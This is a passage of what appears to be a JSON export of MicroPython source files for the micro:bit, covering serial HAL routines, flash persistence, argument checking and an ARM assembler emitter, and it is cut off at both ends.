uart_rx_buf_head = next_head;\n        }\n    }\n}\n\nvoid mp_hal_init(void) {\n    uart_rx_buf_head = 0;\n    uart_rx_buf_tail = 0;\n    ubit_serial.attach(uart_rx_irq);\n}\n\nint mp_hal_stdin_rx_any(void) {\n    return uart_rx_buf_tail != uart_rx_buf_head;\n}\n\nint mp_hal_stdin_rx_chr(void) {\n    while (uart_rx_buf_tail == uart_rx_buf_head) {\n        __WFI();\n    }\n    int c = uart_rx_buf[uart_rx_buf_tail];\n    uart_rx_buf_tail = (uart_rx_buf_tail + 1) % UART_RX_BUF_SIZE;\n    return c;\n}\n\nvoid mp_hal_stdout_tx_str(const char *str) {\n    mp_hal_stdout_tx_strn(str, strlen(str));\n}\n\nvoid mp_hal_stdout_tx_strn(const char *str, size_t len) {\n    for (; len > 0; --len) {\n        ubit_serial.putc(*str++);\n    }\n}\n\nvoid mp_hal_stdout_tx_strn_cooked(const char *str, size_t len) {\n    for (; len > 0; --len) {\n        if (*str == '\\n') {\n            ubit_serial.putc('\\r');\n        }\n        ubit_serial.putc(*str++);\n    }\n}\n\nSTATIC void mp_hal_print_many(const char chrs[8], unsigned int total) {\n    while (total > 0) {\n        unsigned int n = total;\n        if (n > 8) {\n            n = 8;\n        }\n        total -= n;\n        mp_hal_stdout_tx_strn(chrs, n);\n    }\n}\n\nvoid mp_hal_move_cursor_back(unsigned int pos) {\n    mp_hal_print_many(\"\\b\\b\\b\\b\\b\\b\\b\\b\", pos);\n}\n\nvoid mp_hal_erase_line_from_cursor(unsigned int n_chars) {\n    mp_hal_print_many(\"        \", n_chars);\n    mp_hal_move_cursor_back(n_chars);\n}\n\nvoid mp_hal_display_string(const char *str) {\n    microbit_display_scroll(&microbit_display_obj, str);\n}\n\nvoid mp_hal_delay_us(mp_uint_t us) {\n    wait_us(us);\n}\n\nvoid mp_hal_delay_ms(mp_uint_t ms) {\n    if (ms <= 0) {\n        return;\n    }\n    // Wraparound of tick is taken care of by 2's complement arithmetic\n    uint64_t start = system_timer_current_time();\n    while (system_timer_current_time() - start < (uint64_t)ms) {\n        // Check for any pending events, like a KeyboardInterrupt\n        mp_handle_pending();\n        // Enter sleep mode, waiting for (at least) the SysTick interrupt\n        __WFI();\n    }\n}\n\nmp_uint_t mp_hal_ticks_us(void) {\n    return us_ticker_read();\n}\n\nmp_uint_t mp_hal_ticks_ms(void) {\n    return system_timer_current_time();\n}\n\n}\n"
  },
  {
    "path": "micropython/source/microbit/persistent.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Mark Shannon\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#include <string.h>\n#include <stdio.h>\n\n#include \"py/nlr.h\"\n#include \"py/obj.h\"\n#include \"py/gc.h\"\n#include \"microbit/filesystem.h\"\n#include \"lib/ticker.h\"\n\n#define DEBUG_PERSISTENT 0\n#if DEBUG_PERSISTENT\n#define DEBUG(s) printf s\n#else\n#define DEBUG(s) (void)0\n#endif\n\n\n\nvoid persistent_write_byte_unchecked(const uint8_t *dest, const uint8_t val) {\n#if DEBUG_PERSISTENT\n    if (((~(*dest)) & val) != 0) {\n        DEBUG((\"PERSISTENCE DEBUG: ERROR: Unchecked write of byte %u to %lx which contains %u\\r\\n\", val, (uint32_t)dest, *dest));\n        mp_raise_msg(&mp_type_Exception, \"Internal error: Attempting illegal write.\");\n    }\n#endif\n    DEBUG((\"PERSISTENCE DEBUG: Write unchecked byte %u to %lx, previous value %u\\r\\n\", val, (uint32_t)dest, *dest));\n    // Writing to flash will stop the CPU, so we stop the ticker to minimise odd behaviour.\n    ticker_stop();\n    nrf_nvmc_write_byte((uint32_t)dest, val);\n    ticker_start();\n}\n\nvoid persistent_write_unchecked(const void *dest, const void *src, uint32_t len) {\n    DEBUG((\"PERSISTENCE DEBUG: Write unchecked %lu bytes from %lx to %lx\\r\\n\", len, (uint32_t)src, (uint32_t)dest));\n    int8_t *address = (int8_t *)dest;\n    int8_t *data = (int8_t *)src;\n#if DEBUG_PERSISTENT\n    for(uint32_t i = 0; i < len; i++) {\n        if ((~address[i] & data[i]) != 0) {\n            DEBUG((\"PERSISTENCE DEBUG: ERROR: Unchecked write of byte %u to %lx which contains %u\\r\\n\", data[i], (uint32_t)&address[i], address[i]));\n            mp_raise_msg(&mp_type_Exception, \"Internal error: Attempting illegal write.\");\n        }\n    }\n#endif\n    // Writing to flash will stop the CPU, so we stop the ticker to minimise odd behaviour.\n    ticker_stop();\n    // Aligned word writes are over 4 times as fast per byte, so use those if we can.\n    if ((((uint32_t)address) & 3) == 0 && (((uint32_t)data) & 3) == 0 && len >= 4) {\n        nrf_nvmc_write_words((uint32_t)address, (const uint32_t *)data, len>>2);\n        address += (len>>2)<<2;\n        data += (len>>2)<<2;\n        len &= 3;\n    }\n    if (len) {\n        nrf_nvmc_write_bytes((uint32_t)address, (const uint8_t *)data, len);\n    }\n    while (NRF_NVMC->READY == NVMC_READY_READY_Busy);\n    ticker_start();\n}\n\nstatic inline bool can_write(const int8_t *dest, const int8_t *src, uint32_t len) {\n    const int8_t *end = dest + len;\n    while (dest < end) {\n        if (((~(*dest)) & *src) != 0) {\n            DEBUG((\"PERSISTENCE DEBUG: %lu bytes from %lx need to be erased\\r\\n\", len, (uint32_t)dest));\n            return false;\n        }\n        dest++;\n        src++;\n    }\n    DEBUG((\"PERSISTENCE DEBUG: %lu bytes from %lx do not need to be erased\\r\\n\", len, (uint32_t)dest));\n    return true;\n}\n\nvoid persistent_erase_page(const void *page) {\n    DEBUG((\"PERSISTENCE DEBUG: Erasing page %lx\\r\\n\", (uint32_t)page));\n    // Writing to flash will stop the CPU, so we stop the ticker to minimise odd behaviour.\n    ticker_stop();\n    nrf_nvmc_page_erase((uint32_t)page);\n    ticker_start();\n}\n\nbool is_persistent_page_aligned(const void *ptr) {\n    return (((uint32_t)ptr) & (persistent_page_size()-1)) == 0;\n}\n\nint persistent_write(const void *dst, const void *src, uint32_t len) {\n    DEBUG((\"PERSISTENCE DEBUG: Write persistent %lu bytes from %lx to %lx\\r\\n\", len, (uint32_t)src, (uint32_t)dst));\n    const int8_t *dest = dst;\n    const int8_t *addr = src;\n    const int8_t *end_data = src+len;\n    const uint32_t page_size = persistent_page_size();\n    int8_t *page = (void *)(((uint32_t)dest)&(-page_size));\n    int8_t *tmp_storage = NULL;\n    while (addr < end_data) {\n        int8_t *next_page = page + page_size;\n        uint32_t data_in_page = min(end_data-addr, next_page-dest);\n        if (can_write(dest, addr, data_in_page)) {\n            persistent_write_unchecked(dest, addr, data_in_page);\n        } else {\n            if (tmp_storage == NULL) {\n                tmp_storage = m_new(int8_t, page_size);\n                if (tmp_storage == NULL) {\n                    return -1;\n                }\n            }\n            memcpy(tmp_storage, page, page_size);\n            memcpy(tmp_storage+(dest-page), addr, data_in_page);\n            persistent_erase_page(page);\n            persistent_write_unchecked(page, tmp_storage, page_size);\n        }\n        dest = page = next_page;\n        addr += data_in_page;\n    }\n    if (tmp_storage) {\n        gc_free(tmp_storage);\n    }\n    return 0;\n}\n\nint persistent_write_byte(const uint8_t *dest, const uint8_t val) {\n    DEBUG((\"PERSISTENCE DEBUG: Write persistent byte %u to %lx\\r\\n\", val, (uint32_t)dest));\n    if (((~(*dest)) & val) == 0) {\n        // Writing to flash will stop the CPU, so we stop the ticker to minimise odd behaviour.\n        ticker_stop();\n        nrf_nvmc_write_byte((uint32_t)dest, val);\n        ticker_start();\n        return 0;\n    } else {\n        return persistent_write(dest, &val, 1);\n    }\n}\n"
  },
  {
    "path": "micropython/source/py/argcheck.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/runtime.h\"\n\nvoid mp_arg_check_num(size_t n_args, size_t n_kw, size_t n_args_min, size_t n_args_max, bool takes_kw) {\n    // TODO maybe take the function name as an argument so we can print nicer error messages\n\n    if (n_kw && !takes_kw) {\n        if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n            mp_arg_error_terse_mismatch();\n        } else {\n            mp_raise_TypeError(\"function does not take keyword arguments\");\n        }\n    }\n\n    if (n_args_min == n_args_max) {\n        if (n_args != n_args_min) {\n            if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                mp_arg_error_terse_mismatch();\n            } else {\n                nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                    \"function takes %d positional arguments but %d were given\",\n                    n_args_min, n_args));\n            }\n        }\n    } else {\n        if (n_args < n_args_min) {\n            if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                mp_arg_error_terse_mismatch();\n            } else {\n                nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                    \"function missing %d required positional arguments\",\n                    n_args_min - n_args));\n            }\n        } else if (n_args > n_args_max) {\n            if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                mp_arg_error_terse_mismatch();\n            } else {\n                nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                    \"function expected at most %d arguments, got %d\",\n                    n_args_max, n_args));\n            }\n        }\n    }\n}\n\nvoid mp_arg_parse_all(size_t n_pos, const mp_obj_t *pos, mp_map_t *kws, size_t n_allowed, const mp_arg_t *allowed, mp_arg_val_t *out_vals) {\n    size_t pos_found = 0, kws_found = 0;\n    for (size_t i = 0; i < n_allowed; i++) {\n        mp_obj_t given_arg;\n        if (i < n_pos) {\n            if (allowed[i].flags & MP_ARG_KW_ONLY) {\n                goto extra_positional;\n            }\n            pos_found++;\n            given_arg = pos[i];\n        } else {\n            mp_map_elem_t *kw = mp_map_lookup(kws, MP_OBJ_NEW_QSTR(allowed[i].qst), MP_MAP_LOOKUP);\n            if (kw == NULL) {\n                if (allowed[i].flags & MP_ARG_REQUIRED) {\n                    if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                        mp_arg_error_terse_mismatch();\n                    } else {\n                        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                            \"'%q' argument required\", allowed[i].qst));\n                    }\n                }\n                out_vals[i] = allowed[i].defval;\n                continue;\n            } else {\n                kws_found++;\n                given_arg = kw->value;\n            }\n        }\n        if ((allowed[i].flags & MP_ARG_KIND_MASK) == MP_ARG_BOOL) {\n            out_vals[i].u_bool = mp_obj_is_true(given_arg);\n        } else if ((allowed[i].flags & MP_ARG_KIND_MASK) == MP_ARG_INT) {\n            out_vals[i].u_int = mp_obj_get_int(given_arg);\n        } else {\n            assert((allowed[i].flags & MP_ARG_KIND_MASK) == MP_ARG_OBJ);\n            out_vals[i].u_obj = given_arg;\n        }\n    }\n    if (pos_found < n_pos) {\n        extra_positional:\n        if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n            mp_arg_error_terse_mismatch();\n        } else {\n            // TODO better error message\n            mp_raise_TypeError(\"extra positional arguments given\");\n        }\n    }\n    if (kws_found < kws->used) {\n        if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n            mp_arg_error_terse_mismatch();\n        } else {\n            // TODO better error message\n            mp_raise_TypeError(\"extra keyword arguments given\");\n        }\n    }\n}\n\nvoid mp_arg_parse_all_kw_array(size_t n_pos, size_t n_kw, const mp_obj_t *args, size_t n_allowed, const mp_arg_t *allowed, mp_arg_val_t *out_vals) {\n    mp_map_t kw_args;\n    mp_map_init_fixed_table(&kw_args, n_kw, args + n_pos);\n    mp_arg_parse_all(n_pos, args, &kw_args, n_allowed, allowed, out_vals);\n}\n\n#if MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE || _MSC_VER\nNORETURN void mp_arg_error_terse_mismatch(void) {\n    mp_raise_TypeError(\"argument num/types mismatch\");\n}\n#endif\n\n#if MICROPY_CPYTHON_COMPAT\nNORETURN void mp_arg_error_unimpl_kw(void) {\n    mp_raise_NotImplementedError(\"keyword argument(s) not yet implemented - use normal args instead\");\n}\n#endif\n"
  },
  {
    "path": "micropython/source/py/asmarm.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2014 Fabian Vogt\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n#include <assert.h>\n#include <string.h>\n\n#include \"py/mpconfig.h\"\n\n// wrapper around everything in this file\n#if MICROPY_EMIT_ARM\n\n#include \"py/asmarm.h\"\n\n#define SIGNED_FIT24(x) (((x) & 0xff800000) == 0) || (((x) & 0xff000000) == 0xff000000)\n\nvoid asm_arm_end_pass(asm_arm_t *as) {\n    if (as->base.pass == MP_ASM_PASS_EMIT) {\n#ifdef __arm__\n        // flush I- and D-cache\n        asm volatile(\n                \"0:\"\n                \"mrc p15, 0, r15, c7, c10, 3\\n\"\n                \"bne 0b\\n\"\n                \"mov r0, #0\\n\"\n                \"mcr p15, 0, r0, c7, c7, 0\\n\"\n                : : : \"r0\", \"cc\");\n#endif\n    }\n}\n\n// Insert word into instruction flow\nSTATIC void emit(asm_arm_t *as, uint op) {\n    uint8_t *c = mp_asm_base_get_cur_to_write_bytes(&as->base, 4);\n    if (c != NULL) {\n        *(uint32_t*)c = op;\n    }\n}\n\n// Insert word into instruction flow, add \"ALWAYS\" condition code\nSTATIC void emit_al(asm_arm_t *as, uint op) {\n    emit(as, op | ASM_ARM_CC_AL);\n}\n\n// Basic instructions without condition code\nSTATIC uint asm_arm_op_push(uint reglist) {\n    // stmfd sp!, {reglist}\n    return 0x92d0000 | (reglist & 0xFFFF);\n}\n\nSTATIC uint asm_arm_op_pop(uint reglist) {\n    // ldmfd sp!, {reglist}\n    return 0x8bd0000 | (reglist & 0xFFFF);\n}\n\nSTATIC uint asm_arm_op_mov_reg(uint rd, uint rn) {\n    // mov rd, rn\n    return 0x1a00000 | (rd << 12) | rn;\n}\n\nSTATIC uint asm_arm_op_mov_imm(uint rd, uint imm) {\n    // mov rd, #imm\n    return 0x3a00000 | (rd << 12) | imm;\n}\n\nSTATIC uint asm_arm_op_mvn_imm(uint rd, uint imm) {\n    // mvn rd, #imm\n    return 0x3e00000 | (rd << 12) | imm;\n}\n\nSTATIC uint asm_arm_op_add_imm(uint rd, uint rn, uint imm) {\n    // add rd, rn, #imm\n    return 0x2800000 | (rn << 16) | (rd << 12) | (imm & 0xFF);\n}\n\nSTATIC uint asm_arm_op_add_reg(uint rd, uint rn, uint rm) {\n    // add rd, rn, rm\n    return 0x0800000 | (rn << 16) | (rd << 12) | rm;\n}\n\nSTATIC uint asm_arm_op_sub_imm(uint rd, uint rn, uint imm) {\n    // sub rd, rn, #imm\n    return 0x2400000 | (rn << 16) | (rd << 12) | (imm & 0xFF);\n}\n\nSTATIC uint asm_arm_op_sub_reg(uint rd, uint rn, uint rm) {\n    // sub rd, rn, rm\n    return 0x0400000 | (rn << 16) | (rd << 12) | rm;\n}\n\nSTATIC uint asm_arm_op_mul_reg(uint rd, uint rm, uint rs) {\n    // mul rd, rm, rs\n    assert(rd != rm);\n    return 0x0000090 | (rd << 16) | (rs << 8) | rm;\n}\n\nSTATIC uint asm_arm_op_and_reg(uint rd, uint rn, uint rm) {\n    // and rd, rn, rm\n    return 0x0000000 | (rn << 16) | (rd << 12) | rm;\n}\n\nSTATIC uint asm_arm_op_eor_reg(uint rd, uint rn, uint rm) {\n    // eor rd, rn, rm\n    return 0x0200000 | (rn << 16) | (rd << 12) | rm;\n}\n\nSTATIC uint asm_arm_op_orr_reg(uint rd, uint rn, uint rm) {\n    // orr rd, rn, rm\n    return 0x1800000 | (rn << 16) | (rd << 12) | rm;\n}\n\nvoid asm_arm_bkpt(asm_arm_t *as) {\n    // bkpt #0\n    emit_al(as, 0x1200070);\n}\n\n// locals:\n//  - stored on the stack in ascending order\n//  - numbered 0 through num_locals-1\n//  - SP points to first local\n//\n//  | SP\n//  v\n//  l0  l1  l2  ...  l(n-1)\n//  ^                ^\n//  | low address    | high address in RAM\n\nvoid asm_arm_entry(asm_arm_t *as, int num_locals) {\n\n    if (num_locals < 0) {\n        num_locals = 0;\n    }\n\n    as->stack_adjust = 0;\n    as->push_reglist = 1 << ASM_ARM_REG_R1\n        | 1 << ASM_ARM_REG_R2\n        | 1 << ASM_ARM_REG_R3\n        | 1 << ASM_ARM_REG_R4\n        | 1 << ASM_ARM_REG_R5\n        | 1 << ASM_ARM_REG_R6\n        | 1 << ASM_ARM_REG_R7\n        | 1 << ASM_ARM_REG_R8;\n\n    // Only adjust the stack if there are more locals than usable registers\n    if (num_locals > 3) {\n        as->stack_adjust = num_locals * 4;\n        // Align stack to 8 bytes\n        if (num_locals & 1) {\n            as->stack_adjust += 4;\n        }\n    }\n\n    emit_al(as, asm_arm_op_push(as->push_reglist | 1 << ASM_ARM_REG_LR));\n    if (as->stack_adjust > 0) {\n        emit_al(as, asm_arm_op_sub_imm(ASM_ARM_REG_SP, ASM_ARM_REG_SP, as->stack_adjust));\n    }\n}\n\nvoid asm_arm_exit(asm_arm_t *as) {\n    if (as->stack_adjust > 0) {\n        emit_al(as, asm_arm_op_add_imm(ASM_ARM_REG_SP, ASM_ARM_REG_SP, as->stack_adjust));\n    }\n\n    emit_al(as, asm_arm_op_pop(as->push_reglist | (1 << ASM_ARM_REG_PC)));\n}\n\nvoid asm_arm_push(asm_arm_t *as, uint reglist) {\n    emit_al(as, asm_arm_op_push(reglist));\n}\n\nvoid asm_arm_pop(asm_arm_t *as, uint reglist) {\n    emit_al(as, asm_arm_op_pop(reglist));\n}\n\nvoid asm_arm_mov_reg_reg(asm_arm_t *as, uint reg_dest, uint reg_src) {\n    emit_al(as, asm_arm_op_mov_reg(reg_dest, reg_src));\n}\n\nvoid asm_arm_mov_reg_i32(asm_arm_t *as, uint rd, int imm) {\n    // TODO: There are more variants of immediate values\n    if ((imm & 0xFF) == imm) {\n        emit_al(as, asm_arm_op_mov_imm(rd, imm));\n    } else if (imm < 0 && imm >= -256) {\n        // mvn is \"move not\", not \"move negative\"\n        emit_al(as, asm_arm_op_mvn_imm(rd, ~imm));\n    } else {\n        //Insert immediate into code and jump over it\n        emit_al(as, 0x59f0000 | (rd << 12)); // ldr rd, [pc]\n        emit_al(as, 0xa000000); // b pc\n        emit(as, imm);\n    }\n}\n\nvoid asm_arm_mov_local_reg(asm_arm_t *as, int local_num, uint rd) {\n    // str rd, [sp, #local_num*4]\n    emit_al(as, 0x58d0000 | (rd << 12) | (local_num << 2));\n}\n\nvoid asm_arm_mov_reg_local(asm_arm_t *as, uint rd, int local_num) {\n    // ldr rd, [sp, #local_num*4]\n    emit_al(as, 0x59d0000 | (rd << 12) | (local_num << 2));\n}\n\nvoid asm_arm_cmp_reg_i8(asm_arm_t *as, uint rd, int imm) {\n    // cmp rd, #imm\n    emit_al(as, 0x3500000 | (rd << 16) | (imm & 0xFF));\n}\n\nvoid asm_arm_cmp_reg_reg(asm_arm_t *as, uint rd, uint rn) {\n    // cmp rd, rn\n    emit_al(as, 0x1500000 | (rd << 16) | rn);\n}\n\nvoid asm_arm_setcc_reg(asm_arm_t *as, uint rd, uint cond) {\n    emit(as, asm_arm_op_mov_imm(rd, 1) | cond); // movCOND rd, #1\n    emit(as, asm_arm_op_mov_imm(rd, 0) | (cond ^ (1 << 28))); // mov!COND rd, #0\n}\n\nvoid asm_arm_add_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm) {\n    // add rd, rn, rm\n    emit_al(as, asm_arm_op_add_reg(rd, rn, rm));\n}\n\nvoid asm_arm_sub_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm) {\n    // sub rd, rn, rm\n    emit_al(as, asm_arm_op_sub_reg(rd, rn, rm));\n}\n\nvoid asm_arm_mul_reg_reg_reg(asm_arm_t *as, uint rd, uint rs, uint rm) {\n    // rs and rm are swapped because of restriction rd!=rm\n    // mul rd, rm, rs\n    emit_al(as, asm_arm_op_mul_reg(rd, rm, rs));\n}\n\nvoid asm_arm_and_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm) {\n    // and rd, rn, rm\n    emit_al(as, asm_arm_op_and_reg(rd, rn, rm));\n}\n\nvoid asm_arm_eor_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm) {\n    // eor rd, rn, rm\n    emit_al(as, asm_arm_op_eor_reg(rd, rn, rm));\n}\n\nvoid asm_arm_orr_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm) {\n    // orr rd, rn, rm\n    emit_al(as, asm_arm_op_orr_reg(rd, rn, rm));\n}\n\nvoid asm_arm_mov_reg_local_addr(asm_arm_t *as, uint rd, int local_num) {\n    // add rd, sp, #local_num*4\n    emit_al(as, asm_arm_op_add_imm(rd, ASM_ARM_REG_SP, local_num << 2));\n}\n\nvoid asm_arm_lsl_reg_reg(asm_arm_t *as, uint rd, uint rs) {\n    // mov rd, rd, lsl rs\n    emit_al(as, 0x1a00010 | (rd << 12) | (rs << 8) | rd);\n}\n\nvoid asm_arm_asr_reg_reg(asm_arm_t *as, uint rd, uint rs) {\n    // mov rd, rd, asr rs\n    emit_al(as, 0x1a00050 | (rd << 12) | (rs << 8) | rd);\n}\n\nvoid asm_arm_ldr_reg_reg(asm_arm_t *as, uint rd, uint rn, uint byte_offset) {\n    // ldr rd, [rn, #off]\n    emit_al(as, 0x5900000 | (rn << 16) | (rd << 12) | byte_offset);\n}\n\nvoid asm_arm_ldrh_reg_reg(asm_arm_t *as, uint rd, uint rn) {\n    // ldrh rd, [rn]\n    emit_al(as, 0x1d000b0 | (rn << 16) | (rd << 12));\n}\n\nvoid asm_arm_ldrb_reg_reg(asm_arm_t *as, uint rd, uint rn) {\n    // ldrb rd, [rn]\n    emit_al(as, 0x5d00000 | (rn << 16) | (rd << 12));\n}\n\nvoid asm_arm_str_reg_reg(asm_arm_t *as, uint rd, uint rm, uint byte_offset) {\n    // str rd, [rm, #off]\n    emit_al(as, 0x5800000 | (rm << 16) | (rd << 12) | byte_offset);\n}\n\nvoid asm_arm_strh_reg_reg(asm_arm_t *as, uint rd, uint rm) {\n    // strh rd, [rm]\n    emit_al(as, 0x1c000b0 | (rm << 16) | (rd << 12));\n}\n\nvoid asm_arm_strb_reg_reg(asm_arm_t *as, uint rd, uint rm) {\n    // strb rd, [rm]\n    emit_al(as, 0x5c00000 | (rm << 16) | (rd << 12));\n}\n\nvoid asm_arm_str_reg_reg_reg(asm_arm_t *as, uint rd, uint rm, uint rn) {\n    // str rd, [rm, rn, lsl #2]\n    emit_al(as, 0x7800100 | (rm << 16) | (rd << 12) | rn);\n}\n\nvoid asm_arm_strh_reg_reg_reg(asm_arm_t *as, uint rd, uint rm, uint rn) {\n    // strh doesn't support scaled register index\n    emit_al(as, 0x1a00080 | (ASM_ARM_REG_R8 << 12) | rn); // mov r8, rn, lsl #1\n    emit_al(as, 0x18000b0 | (rm << 16) | (rd << 12) | ASM_ARM_REG_R8); // strh rd, [rm, r8]\n}\n\nvoid asm_arm_strb_reg_reg_reg(asm_arm_t *as, uint rd, uint rm, uint rn) {\n    // strb rd, [rm, rn]\n    emit_al(as, 0x7c00000 | (rm << 16) | (rd << 12) | rn);\n}\n\nvoid asm_arm_bcc_label(asm_arm_t *as, int cond, uint label) {\n    assert(label < as->base.max_num_labels);\n    mp_uint_t dest = as->base.label_offsets[label];\n    mp_int_t rel = dest - as->base.code_offset;\n    rel -= 8; // account for instruction prefetch, PC is 8 bytes ahead of this instruction\n    rel >>= 2; // in ARM mode the branch target is 32-bit aligned, so the 2 LSB are omitted\n\n    if (SIGNED_FIT24(rel)) {\n        emit(as, cond | 0xa000000 | (rel & 0xffffff));\n    } else {\n        printf(\"asm_arm_bcc: branch does not fit in 24 bits\\n\");\n    }\n}\n\nvoid asm_arm_b_label(asm_arm_t *as, uint label) {\n    asm_arm_bcc_label(as, ASM_ARM_CC_AL, label);\n}\n\nvoid asm_arm_bl_ind(asm_arm_t *as, void *fun_ptr, uint fun_id, uint reg_temp) {\n    // If the table offset fits into the ldr instruction\n    if (fun_id < (0x1000 / 4)) {\n        emit_al(as, asm_arm_op_mov_reg(ASM_ARM_REG_LR, ASM_ARM_REG_PC)); // mov lr, pc\n        emit_al(as, 0x597f000 | (fun_id << 2)); // ldr pc, [r7, #fun_id*4]\n        return;\n    }\n\n    emit_al(as, 0x59f0004 | (reg_temp << 12)); // ldr rd, [pc, #4]\n    // Set lr after fun_ptr\n    emit_al(as, asm_arm_op_add_imm(ASM_ARM_REG_LR, ASM_ARM_REG_PC, 4)); // add lr, pc, #4\n    emit_al(as, asm_arm_op_mov_reg(ASM_ARM_REG_PC, reg_temp)); // mov pc, reg_temp\n    emit(as, (uint) fun_ptr);\n}\n\n#endif // MICROPY_EMIT_ARM\n"
  },
  {
    "path": "micropython/source/py/asmbase.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <assert.h>\n#include <string.h>\n\n#include \"py/obj.h\"\n#include \"py/misc.h\"\n#include \"py/asmbase.h\"\n\n#if MICROPY_EMIT_NATIVE || MICROPY_EMIT_INLINE_ASM\n\nvoid mp_asm_base_init(mp_asm_base_t *as, size_t max_num_labels) {\n    as->max_num_labels = max_num_labels;\n    as->label_offsets = m_new(size_t, max_num_labels);\n}\n\nvoid 